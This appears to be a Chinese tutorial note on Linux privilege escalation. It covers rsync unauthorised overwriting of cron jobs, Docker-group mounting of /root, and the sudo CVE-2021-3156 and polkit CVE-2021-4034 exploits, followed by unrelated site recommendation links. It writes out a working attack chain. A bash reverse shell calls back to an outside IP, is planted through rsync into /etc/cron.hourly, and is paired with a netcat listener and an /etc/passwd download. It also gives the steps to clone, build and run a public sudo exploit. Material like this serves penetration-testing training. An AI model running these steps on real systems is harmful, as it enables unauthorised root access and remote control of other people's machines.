web-105linux权限提升

rsync未授权本地覆盖

Rsync 是 linux 下一款数据备份工具,默认开启 873 端口

https://vulhub.org/#/environments/rsync/common/

借助 Linux 默认计划任务调用/etc/cron.hourly,利用 rsync 连接覆盖

前提条件就是需要知道rsync的密码或者存在未授权

-提权过程:
1、创建一个 nc 文件,内容
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i
2、赋予执行权限:
chmod +x nc
3、上传nc覆盖定时任务目录下
rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly
3.1、下载文件
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./
4、进行 nc 监听相应的端口
nc -lvnp 3333

Docker组用户挂载

前提 本地用户 且本地用户属于docker组

因为只有是在docker组里面我们才可以进行使用docker的权限

使用命令 groups 组名来查看 如果不是root权限但是你是docker组里面的你也可以运行docker服务,运行时为sudo也就是root权限,继而进行提权;

-复现:创建用户归类目录,添加到 docker 组
useradd -d /home/test -m test
passwd test
usermod -G docker test
newgrp docker
-利用:
docker run -v /root:/mnt -it alpine
主要的作用是:从 Docker 上面下载 alpine 镜像,然后运行;
-v 将容器外部的目录/root 挂载到容器内部/mnt,使用-it 参数进入容器 shell。

执行后root目录内容会被该再到mnt下

测试后发现提权所用到的命令其目录并不受限制,可以把 docker run -v /root:/mnt -it alpine

更改为docker run -v /home:/tmp-it alpine 同样提权成功,因为所利用到的只不过是下载一个alpine文件,去使用docker这个功能即可 然后-it提供一个shell环境

SUDO(CVE-2021-3156)

sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

下载exp
git clone https://github.com/blasty/CVE-2021-3156.git
进入目录后编译
cd CVE-2021-3156 
make
给与执行权限
chmod a+x sudo-hax-me-a-sandwich
选择对应的版本并运行
./sudo-hax-me-a-sandwich 1

选择版本

执行后界面

Polkit(CVE-2021-4034)

polkit是什么,是系统预装工具

polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。
漏洞版本是2009年之后的所有版本都有,ubuntu的测试查看语句为dpkg -l policykit-1,centos的是rpm -qa polkit 这样来进行查看

没有漏洞

有漏洞

版本漏洞直接下载对应的exp然后编译执行即可

相关推荐
独行soc9 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
Clockwiseee12 小时前
php伪协议
windows·安全·web安全·网络安全
xcLeigh13 小时前
网络安全 | 防火墙的工作原理及配置指南
安全·web安全
安全小王子14 小时前
Kali操作系统简单介绍
网络·web安全
光路科技15 小时前
八大网络安全策略:如何防范物联网(IoT)设备带来的安全风险
物联网·安全·web安全
网络安全Jack17 小时前
网络安全概论——身份认证
网络·数据库·web安全
网络安全King17 小时前
计算机网络基础(2):网络安全/ 网络通信介质
计算机网络·安全·web安全
黑客Jack18 小时前
网络安全加密
安全·web安全·php